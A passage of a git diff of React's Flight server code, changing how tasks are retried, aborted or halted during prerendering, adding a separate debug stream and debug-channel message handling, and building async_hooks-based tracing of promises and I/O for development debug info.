-
-      if (__DEV__) {
-        const currentEnv = request.environmentName();
-        if (currentEnv !== task.environmentName) {
-          // The environment changed since we last emitted any debug information for this
-          // task. We emit an entry that just includes the environment name change.
-          emitDebugChunk(request, task.id, {env: currentEnv});
-        }
-      }
-
       emitModelChunk(request, task.id, json);
     }
 
-    request.abortableTasks.delete(task);
     task.status = COMPLETED;
+    request.abortableTasks.delete(task);
+    callOnAllReadyIfReady(request);
   } catch (thrownValue) {
+    if (request.status === ABORTING) {
+      request.abortableTasks.delete(task);
+      task.status = PENDING;
+      if (request.type === PRERENDER) {
+        // When aborting a prerener with halt semantics we don't emit
+        // anything into the slot for a task that aborts, it remains unresolved
+        haltTask(task, request);
+        finishHaltedTask(task, request);
+      } else {
+        // Otherwise we emit an error chunk into the task slot.
+        const errorId: number = (request.fatalError: any);
+        abortTask(task, request, errorId);
+        finishAbortedTask(task, request, errorId);
+      }
+      return;
+    }
+
     const x =
       thrownValue === SuspenseException
         ? // This is a special type of exception used for Suspense. For historical
@@ -3476,69 +5889,46 @@ function retryTask(request: Request, task: Task): void {
     if (typeof x === 'object' && x !== null) {
       // $FlowFixMe[method-unbinding]
       if (typeof x.then === 'function') {
-        if (request.status === ABORTING) {
-          request.abortableTasks.delete(task);
-          task.status = ABORTED;
-          const errorId: number = (request.fatalError: any);
-          const model = stringify(serializeByValueID(errorId));
-          emitModelChunk(request, task.id, model);
-          return;
-        }
         // Something suspended again, let's pick it back up later.
         task.status = PENDING;
         task.thenableState = getThenableStateAfterSuspending();
         const ping = task.ping;
         x.then(ping, ping);
         return;
-      } else if (enablePostpone && x.$$typeof === REACT_POSTPONE_TYPE) {
-        request.abortableTasks.delete(task);
-        task.status = ERRORED;
-        const postponeInstance: Postpone = (x: any);
-        logPostpone(request, postponeInstance.message);
-        emitPostponeChunk(request, task.id, postponeInstance);
-        return;
       }
     }
-
-    if (x === AbortSigil) {
-      request.abortableTasks.delete(task);
-      task.status = ABORTED;
-      const errorId: number = (request.fatalError: any);
-      const model = stringify(serializeByValueID(errorId));
-      emitModelChunk(request, task.id, model);
-      return;
-    }
-
-    request.abortableTasks.delete(task);
-    task.status = ERRORED;
-    const digest = logRecoverableError(request, x);
-    emitErrorChunk(request, task.id, digest, x);
+    erroredTask(request, task, x);
   } finally {
     if (__DEV__) {
-      debugID = prevDebugID;
+      canEmitDebugInfo = prevCanEmitDebugInfo;
     }
+    serializedSize = parentSerializedSize;
   }
 }
 
 function tryStreamTask(request: Request, task: Task): void {
   // This is used to try to emit something synchronously but if it suspends,
   // we emit a reference to a new outlined task immediately instead.
-  const prevDebugID = debugID;
+  const prevCanEmitDebugInfo = canEmitDebugInfo;
   if (__DEV__) {
-    // We don't use the id of the stream task for debugID. Instead we leave it null
-    // so that we instead outline the row to get a new debugID if needed.
-    debugID = null;
+    // We can't emit debug into to a specific row of a stream task. Instead we leave
+    // it false so that we instead outline the row to get a new canEmitDebugInfo if needed.
+    canEmitDebugInfo = false;
   }
+  const parentSerializedSize = serializedSize;
   try {
     emitChunk(request, task, task.model);
   } finally {
+    serializedSize = parentSerializedSize;
     if (__DEV__) {
-      debugID = prevDebugID;
+      canEmitDebugInfo = prevCanEmitDebugInfo;
     }
   }
 }
 
 function performWork(request: Request): void {
+  markAsyncSequenceRootTask();
+
   const prevDispatcher = ReactSharedInternals.H;
   ReactSharedInternals.H = HooksDispatcher;
   const prevRequest = currentRequest;
@@ -3552,11 +5942,9 @@ function performWork(request: Request): void {
       const task = pingedTasks[i];
       retryTask(request, task);
     }
-    if (request.destination !== null) {
-      flushCompletedChunks(request, request.destination);
-    }
+    flushCompletedChunks(request);
   } catch (error) {
-    logRecoverableError(request, error);
+    logRecoverableError(request, error, null);
     fatalError(request, error);
   } finally {
     ReactSharedInternals.H = prevDispatcher;
@@ -3566,11 +5954,32 @@ function performWork(request: Request): void {
 }
 
 function abortTask(task: Task, request: Request, errorId: number): void {
-  if (task.status === RENDERING) {
-    // This task will be aborted by the render
+  if (task.status !== PENDING) {
+    // If this is already completed/errored we don't abort it.
+    // If currently rendering it will be aborted by the render
     return;
   }
   task.status = ABORTED;
+}
+
+function finishAbortedTask(
+  task: Task,
+  request: Request,
+  errorId: number,
+): void {
+  if (task.status !== ABORTED) {
+    return;
+  }
+  forwardDebugInfoFromAbortedTask(request, task);
+  // Track when we aborted this task as its end time.
+  if (
+    enableProfilerTimer &&
+    (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+  ) {
+    if (task.timed) {
+      markOperationEndTime(request, task, request.abortTime);
+    }
+  }
   // Instead of emitting an error per task.id, we emit a model that only
   // has a single value referencing the error.
   const ref = serializeByValueID(errorId);
@@ -3578,96 +5987,195 @@ function abortTask(task: Task, request: Request, errorId: number): void {
   request.completedErrorChunks.push(processedChunk);
 }
 
-function flushCompletedChunks(
-  request: Request,
-  destination: Destination,
-): void {
-  beginWriting(destination);
-  try {
-    // We emit module chunks first in the stream so that
-    // they can be preloaded as early as possible.
-    const importsChunks = request.completedImportChunks;
-    let i = 0;
-    for (; i < importsChunks.length; i++) {
-      request.pendingChunks--;
-      const chunk = importsChunks[i];
-      const keepWriting: boolean = writeChunkAndReturn(destination, chunk);
-      if (!keepWriting) {
-        request.destination = null;
-        i++;
-        break;
-      }
-    }
-    importsChunks.splice(0, i);
+function haltTask(task: Task, request: Request): void {
+  if (task.status !== PENDING) {
+    // If this is already completed/errored we don't abort it.
+    // If currently rendering it will be aborted by the render
+    return;
+  }
+  task.status = ABORTED;
+}
 
-    // Next comes hints.
-    const hintChunks = request.completedHintChunks;
-    i = 0;
-    for (; i < hintChunks.length; i++) {
-      const chunk = hintChunks[i];
-      const keepWriting: boolean = writeChunkAndReturn(destination, chunk);
-      if (!keepWriting) {
-        request.destination = null;
-        i++;
-        break;
+function finishHaltedTask(task: Task, request: Request): void {
+  if (task.status !== ABORTED) {
+    return;
+  }
+  forwardDebugInfoFromAbortedTask(request, task);
+  // We don't actually emit anything for this task id because we are intentionally
+  // leaving the reference unfulfilled.
+  request.pendingChunks--;
+}
+
+function flushCompletedChunks(request: Request): void {
+  if (__DEV__ && request.debugDestination !== null) {
+    const debugDestination = request.debugDestination;
+    beginWriting(debugDestination);
+    try {
+      const debugChunks = request.completedDebugChunks;
+      let i = 0;
+      for (; i < debugChunks.length; i++) {
+        request.pendingDebugChunks--;
+        const chunk = debugChunks[i];
+        writeChunkAndReturn(debugDestination, chunk);
       }
+      debugChunks.splice(0, i);
+    } finally {
+      completeWriting(debugDestination);
     }
-    hintChunks.splice(0, i);
+    flushBuffered(debugDestination);
+  }
+  const destination = request.destination;
+  if (destination !== null) {
+    beginWriting(destination);
+    try {
+      // We emit module chunks first in the stream so that
+      // they can be preloaded as early as possible.
+      const importsChunks = request.completedImportChunks;
+      let i = 0;
+      for (; i < importsChunks.length; i++) {
+        request.pendingChunks--;
+        const chunk = importsChunks[i];
+        const keepWriting: boolean = writeChunkAndReturn(destination, chunk);
+        if (!keepWriting) {
+          request.destination = null;
+          i++;
+          break;
+        }
+      }
+      importsChunks.splice(0, i);
+
+      // Next comes hints.
+      const hintChunks = request.completedHintChunks;
+      i = 0;
+      for (; i < hintChunks.length; i++) {
+        const chunk = hintChunks[i];
+        const keepWriting: boolean = writeChunkAndReturn(destination, chunk);
+        if (!keepWriting) {
+          request.destination = null;
+          i++;
+          break;
+        }
+      }
+      hintChunks.splice(0, i);
+
+      // Debug meta data comes before the model data because it will often end up blocking the model from
+      // completing since the JSX will reference the debug data.
+      if (__DEV__ && request.debugDestination === null) {
+        const debugChunks = request.completedDebugChunks;
+        i = 0;
+        for (; i < debugChunks.length; i++) {
+          request.pendingDebugChunks--;
+          const chunk = debugChunks[i];
+          const keepWriting: boolean = writeChunkAndReturn(destination, chunk);
+          if (!keepWriting) {
+            request.destination = null;
+            i++;
+            break;
+          }
+        }
+        debugChunks.splice(0, i);
+      }
 
-    // Next comes model data.
-    const regularChunks = request.completedRegularChunks;
-    i = 0;
-    for (; i < regularChunks.length; i++) {
-      request.pendingChunks--;
-      const chunk = regularChunks[i];
-      const keepWriting: boolean = writeChunkAndReturn(destination, chunk);
-      if (!keepWriting) {
-        request.destination = null;
-        i++;
-        break;
+      // Next comes model data.
+      const regularChunks = request.completedRegularChunks;
+      i = 0;
+      for (; i < regularChunks.length; i++) {
+        request.pendingChunks--;
+        const chunk = regularChunks[i];
+        const keepWriting: boolean = writeChunkAndReturn(destination, chunk);
+        if (!keepWriting) {
+          request.destination = null;
+          i++;
+          break;
+        }
       }
-    }
-    regularChunks.splice(0, i);
-
-    // Finally, errors are sent. The idea is that it's ok to delay
-    // any error messages and prioritize display of other parts of
-    // the page.
-    const errorChunks = request.completedErrorChunks;
-    i = 0;
-    for (; i < errorChunks.length; i++) {
-      request.pendingChunks--;
-      const chunk = errorChunks[i];
-      const keepWriting: boolean = writeChunkAndReturn(destination, chunk);
-      if (!keepWriting) {
-        request.destination = null;
-        i++;
-        break;
+      regularChunks.splice(0, i);
+
+      // Finally, errors are sent. The idea is that it's ok to delay
+      // any error messages and prioritize display of other parts of
+      // the page.
+      const errorChunks = request.completedErrorChunks;
+      i = 0;
+      for (; i < errorChunks.length; i++) {
+        request.pendingChunks--;
+        const chunk = errorChunks[i];
+        const keepWriting: boolean = writeChunkAndReturn(destination, chunk);
+        if (!keepWriting) {
+          request.destination = null;
+          i++;
+          break;
+        }
       }
+      errorChunks.splice(0, i);
+    } finally {
+      request.flushScheduled = false;
+      completeWriting(destination);
     }
-    errorChunks.splice(0, i);
-  } finally {
-    request.flushScheduled = false;
-    completeWriting(destination);
+    flushBuffered(destination);
   }
-  flushBuffered(destination);
   if (request.pendingChunks === 0) {
+    if (__DEV__) {
+      const debugDestination = request.debugDestination;
+      if (request.pendingDebugChunks === 0) {
+        // Continue fully closing both streams.
+        if (debugDestination !== null) {
+          close(debugDestination);
+          request.debugDestination = null;
+        }
+      } else {
+        // We still have debug information to write.
+        if (debugDestination === null) {
+          // We'll continue writing on this stream so nothing closes.
+          return;
+        } else {
+          // We'll close the main stream but keep the debug stream open.
+          // TODO: If this destination is not currently flowing we'll not close it when it resumes flowing.
+          // We should keep a separate status for this.
+          if (request.destination !== null) {
+            request.status = CLOSED;
+            close(request.destination);
+            request.destination = null;
+          }
+          return;
+        }
+      }
+    }
     // We're done.
     if (enableTaint) {
       cleanupTaintQueue(request);
     }
-    request.status = CLOSED;
-    close(destination);
-    request.destination = null;
+    if (request.status < ABORTING) {
+      const abortReason = new Error(
+        'This render completed successfully. All cacheSignals are now aborted to allow clean up of any unused resources.',
+      );
+      request.cacheController.abort(abortReason);
+    }
+    if (request.destination !== null) {
+      request.status = CLOSED;
+      close(request.destination);
+      request.destination = null;
+    }
+    if (__DEV__ && request.debugDestination !== null) {
+      close(request.debugDestination);
+      request.debugDestination = null;
+    }
   }
 }
 
 export function startWork(request: Request): void {
   request.flushScheduled = request.destination !== null;
   if (supportsRequestStorage) {
-    scheduleWork(() => requestStorage.run(request, performWork, request));
+    scheduleMicrotask(() => {
+      requestStorage.run(request, performWork, request);
+    });
   } else {
-    scheduleWork(() => performWork(request));
+    scheduleMicrotask(() => performWork(request));
   }
+  scheduleWork(() => {
+    if (request.status === OPENING) {
+      request.status = OPEN;
+    }
+  });
 }
 
 function enqueueFlush(request: Request): void {
@@ -3677,19 +6185,26 @@ function enqueueFlush(request: Request): void {
     request.pingedTasks.length === 0 &&
     // If there is no destination there is nothing we can flush to. A flush will
     // happen when we start flowing again
-    request.destination !== null
+    (request.destination !== null ||
+      (__DEV__ && request.debugDestination !== null))
   ) {
     request.flushScheduled = true;
+    // Unlike startWork and pingTask we intetionally use scheduleWork
+    // here even during prerenders to allow as much batching as possible
     scheduleWork(() => {
       request.flushScheduled = false;
-      const destination = request.destination;
-      if (destination) {
-        flushCompletedChunks(request, destination);
-      }
+      flushCompletedChunks(request);
     });
   }
 }
 
+function callOnAllReadyIfReady(request: Request): void {
+  if (request.abortableTasks.size === 0) {
+    const onAllReady = request.onAllReady;
+    onAllReady();
+  }
+}
+
 export function startFlowing(request: Request, destination: Destination): void {
   if (request.status === CLOSING) {
     request.status = CLOSED;
@@ -3705,9 +6220,34 @@ export function startFlowing(request: Request, destination: Destination): void {
   }
   request.destination = destination;
   try {
-    flushCompletedChunks(request, destination);
+    flushCompletedChunks(request);
+  } catch (error) {
+    logRecoverableError(request, error, null);
+    fatalError(request, error);
+  }
+}
+
+export function startFlowingDebug(
+  request: Request,
+  debugDestination: Destination,
+): void {
+  if (request.status === CLOSING) {
+    request.status = CLOSED;
+    closeWithError(debugDestination, request.fatalError);
+    return;
+  }
+  if (request.status === CLOSED) {
+    return;
+  }
+  if (request.debugDestination !== null) {
+    // We're already flowing.
+    return;
+  }
+  request.debugDestination = debugDestination;
+  try {
+    flushCompletedChunks(request);
   } catch (error) {
-    logRecoverableError(request, error);
+    logRecoverableError(request, error, null);
     fatalError(request, error);
   }
 }
@@ -3716,26 +6256,55 @@ export function stopFlowing(request: Request): void {
   request.destination = null;
 }
 
-// This is called to early terminate a request. It creates an error at all pending tasks.
+function finishHalt(request: Request, abortedTasks: Set<Task>): void {
+  try {
+    abortedTasks.forEach(task => finishHaltedTask(task, request));
+    const onAllReady = request.onAllReady;
+    onAllReady();
+    flushCompletedChunks(request);
+  } catch (error) {
+    logRecoverableError(request, error, null);
+    fatalError(request, error);
+  }
+}
+
+function finishAbort(
+  request: Request,
+  abortedTasks: Set<Task>,
+  errorId: number,
+): void {
+  try {
+    abortedTasks.forEach(task => finishAbortedTask(task, request, errorId));
+    const onAllReady = request.onAllReady;
+    onAllReady();
+    flushCompletedChunks(request);
+  } catch (error) {
+    logRecoverableError(request, error, null);
+    fatalError(request, error);
+  }
+}
+
 export function abort(request: Request, reason: mixed): void {
+  // We define any status below OPEN as OPEN equivalent
+  if (request.status > OPEN) {
+    return;
+  }
   try {
     request.status = ABORTING;
+    if (
+      enableProfilerTimer &&
+      (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+    ) {
+      request.abortTime = performance.now();
+    }
+    request.cacheController.abort(reason);
     const abortableTasks = request.abortableTasks;
-    // We have tasks to abort. We'll emit one error row and then emit a reference
-    // to that row from every row that's still remaining.
     if (abortableTasks.size > 0) {
-      request.pendingChunks++;
-      const errorId = request.nextChunkId++;
-      request.fatalError = errorId;
-      if (
-        enablePostpone &&
-        typeof reason === 'object' &&
-        reason !== null &&
-        (reason: any).$$typeof === REACT_POSTPONE_TYPE
-      ) {
-        const postponeInstance: Postpone = (reason: any);
-        logPostpone(request, postponeInstance.message);
-        emitPostponeChunk(request, errorId, postponeInstance);
+      if (request.type === PRERENDER) {
+        // When prerendering with halt semantics we simply halt the task
+        // and leave the reference unfulfilled.
+        abortableTasks.forEach(task => haltTask(task, request));
+        scheduleWork(() => finishHalt(request, abortableTasks));
       } else {
         const error =
           reason === undefined
@@ -3743,49 +6312,133 @@ export function abort(request: Request, reason: mixed): void {
                 'The render was aborted by the server without a reason.',
               )
             : typeof reason === 'object' &&
-              reason !== null &&
-              typeof reason.then === 'function'
-            ? new Error('The render was aborted by the server with a promise.')
-            : reason;
-        const digest = logRecoverableError(request, error);
-        emitErrorChunk(request, errorId, digest, error);
-      }
-      abortableTasks.forEach(task => abortTask(task, request, errorId));
-      abortableTasks.clear();
-    }
-    const abortListeners = request.abortListeners;
-    if (abortListeners.size > 0) {
-      let error;
-      if (
-        enablePostpone &&
-        typeof reason === 'object' &&
-        reason !== null &&
-        (reason: any).$$typeof === REACT_POSTPONE_TYPE
-      ) {
-        // We aborted with a Postpone but since we're passing this to an
-        // external handler, passing this object would leak it outside React.
-        // We create an alternative reason for it instead.
-        error = new Error('The render was aborted due to being postponed.');
-      } else {
-        error =
-          reason === undefined
-            ? new Error(
-                'The render was aborted by the server without a reason.',
-              )
-            : typeof reason === 'object' &&
-              reason !== null &&
-              typeof reason.then === 'function'
-            ? new Error('The render was aborted by the server with a promise.')
-            : reason;
+                reason !== null &&
+                typeof reason.then === 'function'
+              ? new Error(
+                  'The render was aborted by the server with a promise.',
+                )
+              : reason;
+        const digest = logRecoverableError(request, error, null);
+        // When rendering we produce a shared error chunk and then
+        // fulfill each task with a reference to that chunk.
+        const errorId = request.nextChunkId++;
+        request.fatalError = errorId;
+        request.pendingChunks++;
+        emitErrorChunk(request, errorId, digest, error, false, null);
+        abortableTasks.forEach(task => abortTask(task, request, errorId));
+        scheduleWork(() => finishAbort(request, abortableTasks, errorId));
       }
-      abortListeners.forEach(callback => callback(error));
-      abortListeners.clear();
-    }
-    if (request.destination !== null) {
-      flushCompletedChunks(request, request.destination);
+    } else {
+      const onAllReady = request.onAllReady;
+      onAllReady();
+      flushCompletedChunks(request);
     }
   } catch (error) {
-    logRecoverableError(request, error);
+    logRecoverableError(request, error, null);
     fatalError(request, error);
   }
 }
+
+function fromHex(str: string): number {
+  return parseInt(str, 16);
+}
+
+export function resolveDebugMessage(request: Request, message: string): void {
+  if (!__DEV__) {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'resolveDebugMessage should never be called in production mode. This is a bug in React.',
+    );
+  }
+  const deferredDebugObjects = request.deferredDebugObjects;
+  if (deferredDebugObjects === null) {
+    throw new Error(
+      "resolveDebugMessage/closeDebugChannel should not be called for a Request that wasn't kept alive. This is a bug in React.",
+    );
+  }
+  if (message === '') {
+    closeDebugChannel(request);
+    return;
+  }
+  // This function lets the client ask for more data lazily through the debug channel.
+  const command = message.charCodeAt(0);
+  const ids = message.slice(2).split(',').map(fromHex);
+  switch (command) {
+    case 82 /* "R" */:
+      // Release IDs
+      for (let i = 0; i < ids.length; i++) {
+        const id = ids[i];
+        const retainedValue = deferredDebugObjects.retained.get(id);
+        if (retainedValue !== undefined) {
+          // We're no longer blocked on this. We won't emit it.
+          request.pendingDebugChunks--;
+          deferredDebugObjects.retained.delete(id);
+          deferredDebugObjects.existing.delete(retainedValue);
+          enqueueFlush(request);
+        }
+      }
+      break;
+    case 81 /* "Q" */:
+      // Query IDs
+      for (let i = 0; i < ids.length; i++) {
+        const id = ids[i];
+        const retainedValue = deferredDebugObjects.retained.get(id);
+        if (retainedValue !== undefined) {
+          // If we still have this object, and haven't emitted it before, emit it on the stream.
+          const counter = {objectLimit: 10};
+          deferredDebugObjects.retained.delete(id);
+          deferredDebugObjects.existing.delete(retainedValue);
+          emitOutlinedDebugModelChunk(request, id, counter, retainedValue);
+          enqueueFlush(request);
+        }
+      }
+      break;
+    case 80 /* "P" */:
+      // Query Promise IDs
+      for (let i = 0; i < ids.length; i++) {
+        const id = ids[i];
+        const retainedValue = deferredDebugObjects.retained.get(id);
+        if (retainedValue !== undefined) {
+          // If we still have this Promise, and haven't emitted it before, wait for it
+          // and then emit it on the stream.
+          const counter = {objectLimit: 10};
+          deferredDebugObjects.retained.delete(id);
+          emitRequestedDebugThenable(
+            request,
+            id,
+            counter,
+            (retainedValue: any),
+          );
+        }
+      }
+      break;
+    default:
+      throw new Error(
+        'Unknown command. The debugChannel was not wired up properly.',
+      );
+  }
+}
+
+export function closeDebugChannel(request: Request): void {
+  if (!__DEV__) {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'closeDebugChannel should never be called in production mode. This is a bug in React.',
+    );
+  }
+  // This clears all remaining deferred objects, potentially resulting in the completion of the Request.
+  const deferredDebugObjects = request.deferredDebugObjects;
+  if (deferredDebugObjects === null) {
+    throw new Error(
+      "resolveDebugMessage/closeDebugChannel should not be called for a Request that wasn't kept alive. This is a bug in React.",
+    );
+  }
+  deferredDebugObjects.retained.forEach((value, id) => {
+    request.pendingDebugChunks--;
+    deferredDebugObjects.retained.delete(id);
+    deferredDebugObjects.existing.delete(value);
+  });
+  enqueueFlush(request);
+}
diff --git a/packages/react-server/src/ReactFlightServerConfigBundlerCustom.js b/packages/react-server/src/ReactFlightServerConfigBundlerCustom.js
index 00578a4da245..ac3e17c63017 100644
--- a/packages/react-server/src/ReactFlightServerConfigBundlerCustom.js
+++ b/packages/react-server/src/ReactFlightServerConfigBundlerCustom.js
@@ -23,3 +23,4 @@ export const resolveClientReferenceMetadata =
 export const getServerReferenceId = $$$config.getServerReferenceId;
 export const getServerReferenceBoundArguments =
   $$$config.getServerReferenceBoundArguments;
+export const getServerReferenceLocation = $$$config.getServerReferenceLocation;
diff --git a/packages/react-server/src/ReactFlightServerConfigDebugNode.js b/packages/react-server/src/ReactFlightServerConfigDebugNode.js
index f9f4d9cef3f8..9bb521be4065 100644
--- a/packages/react-server/src/ReactFlightServerConfigDebugNode.js
+++ b/packages/react-server/src/ReactFlightServerConfigDebugNode.js
@@ -7,8 +7,52 @@
  * @flow
  */
 
-import {createAsyncHook, executionAsyncId} from './ReactFlightServerConfig';
+import type {ReactStackTrace} from 'shared/ReactTypes';
+
+import type {
+  AsyncSequence,
+  IONode,
+  PromiseNode,
+  UnresolvedPromiseNode,
+  AwaitNode,
+  UnresolvedAwaitNode,
+} from './ReactFlightAsyncSequence';
+
+import {
+  IO_NODE,
+  PROMISE_NODE,
+  UNRESOLVED_PROMISE_NODE,
+  AWAIT_NODE,
+  UNRESOLVED_AWAIT_NODE,
+} from './ReactFlightAsyncSequence';
+import {resolveOwner} from './flight/ReactFlightCurrentOwner';
+import {resolveRequest, isAwaitInUserspace} from './ReactFlightServer';
+import {createHook, executionAsyncId, AsyncResource} from 'async_hooks';
 import {enableAsyncDebugInfo} from 'shared/ReactFeatureFlags';
+import {parseStackTracePrivate} from './ReactFlightServerConfig';
+
+// $FlowFixMe[method-unbinding]
+const getAsyncId = AsyncResource.prototype.asyncId;
+
+const pendingOperations: Map<number, AsyncSequence> =
+  __DEV__ && enableAsyncDebugInfo ? new Map() : (null: any);
+
+// Keep the last resolved await as a workaround for async functions missing data.
+let lastRanAwait: null | AwaitNode = null;
+
+function resolvePromiseOrAwaitNode(
+  unresolvedNode: UnresolvedAwaitNode | UnresolvedPromiseNode,
+  endTime: number,
+): AwaitNode | PromiseNode {
+  const resolvedNode: AwaitNode | PromiseNode = (unresolvedNode: any);
+  resolvedNode.tag = ((unresolvedNode.tag === UNRESOLVED_PROMISE_NODE
+    ? PROMISE_NODE
+    : AWAIT_NODE): any);
+  resolvedNode.end = endTime;
+  return resolvedNode;
+}
+
+const emptyStack: ReactStackTrace = [];
 
 // Initialize the tracing of async operations.
 // We do this globally since the async work can potentially eagerly
@@ -17,17 +61,328 @@ import {enableAsyncDebugInfo} from 'shared/ReactFeatureFlags';
 // but given that typically this is just a live server, it doesn't really matter.
 export function initAsyncDebugInfo(): void {
   if (__DEV__ && enableAsyncDebugInfo) {
-    createAsyncHook({
-      init(asyncId: number, type: string, triggerAsyncId: number): void {
-        // TODO
+    createHook({
+      init(
+        asyncId: number,
+        type: string,
+        triggerAsyncId: number,
+        resource: any,
+      ): void {
+        const trigger = pendingOperations.get(triggerAsyncId);
+        let node: AsyncSequence;
+        if (type === 'PROMISE') {
+          const currentAsyncId = executionAsyncId();
+          if (currentAsyncId !== triggerAsyncId) {
+            // When you call .then() on a native Promise, or await/Promise.all() a thenable,
+            // then this intermediate Promise is created. We use this as our await point
+            if (trigger === undefined) {
+              // We don't track awaits on things that started outside our tracked scope.
+              return;
+            }
+            // If the thing we're waiting on is another Await we still track that sequence
+            // so that we can later pick the best stack trace in user space.
+            let stack = null;
+            let promiseRef: WeakRef<Promise<any>>;
+            if (
+              trigger.stack !== null &&
+              (trigger.tag === AWAIT_NODE ||
+                trigger.tag === UNRESOLVED_AWAIT_NODE)
+            ) {
+              // We already had a stack for an await. In a chain of awaits we'll only need one good stack.
+              // We mark it with an empty stack to signal to any await on this await that we have a stack.
+              stack = emptyStack;
+              if (resource._debugInfo !== undefined) {
+                // We may need to forward this debug info at the end so we need to retain this promise.
+                promiseRef = new WeakRef((resource: Promise<any>));
+              } else {
+                // Otherwise, we can just refer to the inner one since that's the one we'll log anyway.
+                promiseRef = trigger.promise;
+              }
+            } else {
+              promiseRef = new WeakRef((resource: Promise<any>));
+              const request = resolveRequest();
+              if (request === null) {
+                // We don't collect stacks for awaits that weren't in the scope of a specific render.
+              } else {
+                stack = parseStackTracePrivate(new Error(), 5);
+                if (stack !== null && !isAwaitInUserspace(request, stack)) {
+                  // If this await was not done directly in user space, then clear the stack. We won't use it
+                  // anyway. This lets future awaits on this await know that we still need to get their stacks
+                  // until we find one in user space.
+                  stack = null;
+                }
+              }
+            }
+            const current = pendingOperations.get(currentAsyncId);
+            node = ({
+              tag: UNRESOLVED_AWAIT_NODE,
+              owner: resolveOwner(),
+              stack: stack,
+              start: performance.now(),
+              end: -1.1, // set when resolved.
+              promise: promiseRef,
+              awaited: trigger, // The thing we're awaiting on. Might get overrriden when we resolve.
+              previous: current === undefined ? null : current, // The path that led us here.
+            }: UnresolvedAwaitNode);
+          } else {
+            const owner = resolveOwner();
+            node = ({
+              tag: UNRESOLVED_PROMISE_NODE,
+              owner: owner,
+              stack:
+                owner === null ? null : parseStackTracePrivate(new Error(), 5),
+              start: performance.now(),
+              end: -1.1, // Set when we resolve.
+              promise: new WeakRef((resource: Promise<any>)),
+              awaited:
+                trigger === undefined
+                  ? null // It might get overridden when we resolve.
+                  : trigger,
+              previous: null,
+            }: UnresolvedPromiseNode);
+          }
+        } else if (
+          // bound-anonymous-fn is the default name for snapshots and .bind() without a name.
+          // This isn't I/O by itself but likely just a continuation. If the bound function
+          // has a name, we might treat it as I/O but we can't tell the difference.
+          type === 'bound-anonymous-fn' ||
+          // queueMicroTask, process.nextTick and setImmediate aren't considered new I/O
+          // for our purposes but just continuation of existing I/O.
+          type === 'Microtask' ||
+          type === 'TickObject' ||
+          type === 'Immediate'
+        ) {
+          // Treat the trigger as the node to carry along the sequence.
+          // For "bound-anonymous-fn" this will be the callsite of the .bind() which may not
+          // be the best if the callsite of the .run() call is within I/O which should be
+          // tracked. It might be better to track the execution context of "before()" as the
+          // execution context for anything spawned from within the run(). Basically as if
+          // it wasn't an AsyncResource at all.
+          if (trigger === undefined) {
+            return;
+          }
+          node = trigger;
+        } else {
+          // New I/O
+          if (trigger === undefined) {
+            // We have begun a new I/O sequence.
+            const owner = resolveOwner();
+            node = ({
+              tag: IO_NODE,
+              owner: owner,
+              stack:
+                owner === null ? parseStackTracePrivate(new Error(), 3) : null,
+              start: performance.now(),
+              end: -1.1, // Only set when pinged.
+              promise: null,
+              awaited: null,
+              previous: null,
+            }: IONode);
+          } else if (
+            trigger.tag === AWAIT_NODE ||
+            trigger.tag === UNRESOLVED_AWAIT_NODE
+          ) {
+            // We have begun a new I/O sequence after the await.
+            const owner = resolveOwner();
+            node = ({
+              tag: IO_NODE,
+              owner: owner,
+              stack:
+                owner === null ? parseStackTracePrivate(new Error(), 3) : null,
+              start: performance.now(),
+              end: -1.1, // Only set when pinged.
+              promise: null,
+              awaited: null,
+              previous: trigger,
+            }: IONode);
+          } else {
+            // Otherwise, this is just a continuation of the same I/O sequence.
+            node = trigger;
+          }
+        }
+        pendingOperations.set(asyncId, node);
+      },
+      before(asyncId: number): void {
+        const node = pendingOperations.get(asyncId);
+        if (node !== undefined) {
+          switch (node.tag) {
+            case IO_NODE: {
+              lastRanAwait = null;
+              // Log the end time when we resolved the I/O.
+              const ioNode: IONode = (node: any);
+              if (ioNode.end < 0) {
+                ioNode.end = performance.now();
+              } else {
+                // This can happen more than once if it's a recurring resource like a connection.
+                // Even for single events like setTimeout, this can happen three times due to ticks
+                // and microtasks each running its own scope.
+                // To preserve each operation's separate end time, we create a clone of the IO node.
+                // Any pre-existing reference will refer to the first resolution and any new resolutions
+                // will refer to the new node.
+                const clonedNode: IONode = {
+                  tag: IO_NODE,
+                  owner: ioNode.owner,
+                  stack: ioNode.stack,
+                  start: ioNode.start,
+                  end: performance.now(),
+                  promise: ioNode.promise,
+                  awaited: ioNode.awaited,
+                  previous: ioNode.previous,
+                };
+                pendingOperations.set(asyncId, clonedNode);
+              }
+              break;
+            }
+            case UNRESOLVED_AWAIT_NODE: {
+              // If we begin before we resolve, that means that this is actually already resolved but
+              // the promiseResolve hook is called at the end of the execution. So we track the time
+              // in the before call instead.
+              // $FlowFixMe
+              lastRanAwait = resolvePromiseOrAwaitNode(node, performance.now());
+              break;
+            }
+            case AWAIT_NODE: {
+              lastRanAwait = node;
+              break;
+            }
+            case UNRESOLVED_PROMISE_NODE: {
+              // We typically don't expected Promises to have an execution scope since only the awaits
+              // have a then() callback. However, this can happen for native async functions. The last
+              // piece of code that executes the return after the last await has the execution context
+              // of the Promise.
+              const resolvedNode = resolvePromiseOrAwaitNode(
+                node,
+                performance.now(),
+              );
+              // We are missing information about what this was unblocked by but we can guess that it
+              // was whatever await we ran last since this will continue in a microtask after that.
+              // This is not perfect because there could potentially be other microtasks getting in
+              // between.
+              resolvedNode.previous = lastRanAwait;
+              lastRanAwait = null;
+              break;
+            }
+            default: {
+              lastRanAwait = null;
+            }
+          }
+        }
       },
+
       promiseResolve(asyncId: number): void {
-        // TODO
-        executionAsyncId();
+        const node = pendingOperations.get(asyncId);
+        if (node !== undefined) {
+          let resolvedNode: AwaitNode | PromiseNode;
+          switch (node.tag) {
+            case UNRESOLVED_AWAIT_NODE:
+            case UNRESOLVED_PROMISE_NODE: {
+              resolvedNode = resolvePromiseOrAwaitNode(node, performance.now());
+              break;
+            }
+            case AWAIT_NODE:
+            case PROMISE_NODE: {
+              // We already resolved this in the before hook.
+              resolvedNode = node;
+              break;
+            }
+            default:
+              // eslint-disable-next-line react-internal/prod-error-codes
+              throw new Error(
+                'A Promise should never be an IO_NODE. This is a bug in React.',
+              );
+          }
